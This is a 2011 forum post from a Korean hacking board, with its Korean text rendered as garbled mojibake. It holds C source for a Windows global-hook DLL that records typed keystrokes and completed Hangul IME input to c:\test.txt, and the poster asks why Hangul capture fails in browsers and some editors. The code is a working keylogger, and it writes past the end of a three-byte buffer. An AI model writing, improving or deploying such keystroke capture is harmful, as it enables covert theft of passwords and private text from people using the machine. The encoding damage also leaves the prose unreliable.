½Ã½ºÅÛ ÇØÅ·

 1576, 1/79 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   jgbag30
   Űº¸µå ÈÄÅ· °ü·Ã Áú¹® ¤Ì¤Ì

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1502 [º¹»ç]


#include <windows.h>
#include <stdio.h>
#include <imm.h>



//°Á¸¸µçÇÔ¼ö
void FilePrint(char* filepath, LPCVOID lpstr, DWORD strlen) //(°æ·Î, ¹®ÀÚ¿­Æ÷ÀÎÅÍ, ±æÀÌ)¹Þ¾Æ¼­ ¸Þ¸ðÀå¿¡ ÀúÀå
{
        HANDLE hFile;
        DWORD dwWrite;    // ÅØ½ºÆ®¸¦ ÀúÀåÇϱâÀ§ÇÑ º¯¼ö

        hFile = CreateFile(filepath,
                        GENERIC_WRITE,
                        0,
                        NULL,
                        OPEN_ALWAYS,
                        FILE_ATTRIBUTE_NORMAL,
                        NULL);
        SetFilePointer(hFile, 0, 0, FILE_END);
        WriteFile(hFile, lpstr, strlen, &dwWrite, NULL);//&((MSG*)lp)->wParam
        CloseHandle(hFile);
}


//dll º»Ã¼
__declspec(dllexport) LRESULT CALLBACK GetMsgProc(INT nCode, WPARAM wp, LPARAM lp)
{
        if(nCode < 0) return true;

        static unsigned char Cstr[3] = {0,};      // Á¶ÇÕÁßÀÎ ¹®ÀÚ!!
        int len;                     
        HIMC m_hIMC=NULL;   // IME ÇÚµé

        
        
        switch (((MSG*)lp)->message)
        {
        case WM_IME_COMPOSITION:        //ÇѱÛÀÔ·Â
        {
                m_hIMC = ImmGetContext(((MSG*)lp)->hwnd);        // imeÇÚµéÀ» ¾ò´Â°Í
                
                if (((MSG*)lp)->lParam & GCS_RESULTSTR)
                {
                        if ((len = ImmGetCompositionString(m_hIMC, GCS_RESULTSTR, NULL, 0)) > 0)
                        {
                                // ¿Ï¼ºµÈ ±ÛÀÚ°¡ ÀÖ´Ù.
                                ImmGetCompositionString(m_hIMC, GCS_RESULTSTR, Cstr, len);
                                Cstr[3] = 0;                                
                                len = 0;

                                FilePrint("c:\\test.txt", Cstr, 2);
                        
                        }
                        
                }
                
        ImmReleaseContext(((MSG*)lp)->hwnd, m_hIMC);        // IME ÇÚµé ¹Ýȯ!!
        }
        break;


        case (long)WM_CHAR: //¿µ¹®¹Ø¼ýÀÚ ÀÔ·Â

        {
                if( 31 < ((MSG*)lp)->wParam && ((MSG*)lp)->wParam < 128)                 
                                {
                        FilePrint("c:\\test.txt", &((MSG*)lp)->wParam, 1);
                }
        }
        break;

        }
        

        
        
        return true;

}


=====================================================================

Űº¸µå ÈÄÅ· °ü·ÃÇØ¼­ Â¥°íÀÖ´Â dllÀÔ´Ï´Ù.(Àü¿ªÈÄÅ·)
±Ã±ÝÇÑ°Ô ¸î°¡Áö Àմµ¥¿ä.
((MSG*)lp)->wParam¿¡´Â À¯´ÏÄÚµå ¹®ÀÚ°¡ µé¾î¿À´Â°Í °°°í
ImmGetCompositionString(m_hIMC, GCS_RESULTSTR, Cstr, len); ÀÌ ÇÔ¼ö¸¦ ¾²¸é
Cstr¿¡ ¸ÖƼ¹ÙÀÌÆ®Äڵ尡 µé¾î°¡´Â °Í °°Àºµ¥¿ä.

1.±×·³ ÇѱÛÀ» ¾µ ¶§ ImmGetCompositionStringÇÔ¼ö´Â m_hIMC¿¡ µé¾îÀÖ´Â Á¤º¸¸¦ ÅëÇØ¼­
((MSG*)lp)->wParam¿¡ µé¾îÀÖ´Â À¯´ÏÄڵ带 ¸ÖƼ¹ÙÀÌÆ®·Î ¹Ù²ãÁִ°ǰ¡¿ä?

2.¸Þ¸ðÀå¿¡ ÀúÀå("c:\\test.txt")ÇÏ¸é ¸ÖÆ¼¹ÙÀÌÆ®Äڵ常 Çѱ۷ÎÇ¥½Ã °¡´ÉÇϰí ÇѱÛÀ¯´ÏÄÚµå´Â Ç¥½Ã¸¦ ¸øÇϴµ¥¿ä. ¸Þ¸ðÀå ÀÚü¸¦ Äڵ忡¼­ À¯´ÏÄÚµåÀÎÄÚµù Çü½ÄÀ¸·Î ÀúÀåÇÒ ¼ö ÀÖÀ»±î¿ä? ±×¸®°í ±×·¯¸é ÇѱÛÀ¯´ÏÄڵ尡 Ç¥½ÃµÉ±î¿ä?

3.(°¡Àå ±Ã±ÝÇѰÅ..)ÀÌ ÈÄÅ· ÇÁ·Î±×·¥À» ½ÇÇàÇÏ°í ´Ù¸¥ (ÈÄÅ·µÈ)¸Þ¸ðÀå¿¡¼­ ±Û¾¾¸¦ ¾²¸é ÇѱÛ,¿µ¹®,¼ýÀÚ ´Ù ÀԷµǼ­  ¸Þ¸ðÀå("c:\\test.txt")¿¡ Àß ÀúÀåµË´Ï´Ù. ±×·±µ¥ (ÈÄÅ·µÈ)ÀÎÅͳÝÀ̳ª (ÈÄÅ·µÈ)¾Æ·¡ÇÑ±Û °°Àº µ¥¼­´Â ¿µ¹®,¼ýÀÚ´Â Àß ÀúÀåµÇ´Âµ¥ ÇѱÛÀº ¾ÈµË´Ï´Ù. ¿Ö±×·²±î¿ä?


»ýÃʺ¸¶ó ¹°¾îº¼°÷µµ ¾ø°í, ¸ô¶ó¼­ ÁöÃľ²·¯Áö°Ù½À´Ï´Ù.¤Ì¤Ì
¿©À¯·Î¿ì½Å °í¼ö´ÔµéÀÇ °¡¸£Ä§À» ºÎʵ叱°Ô¿ä.



  Hit : 5106     Date : 2011/07/14 12:02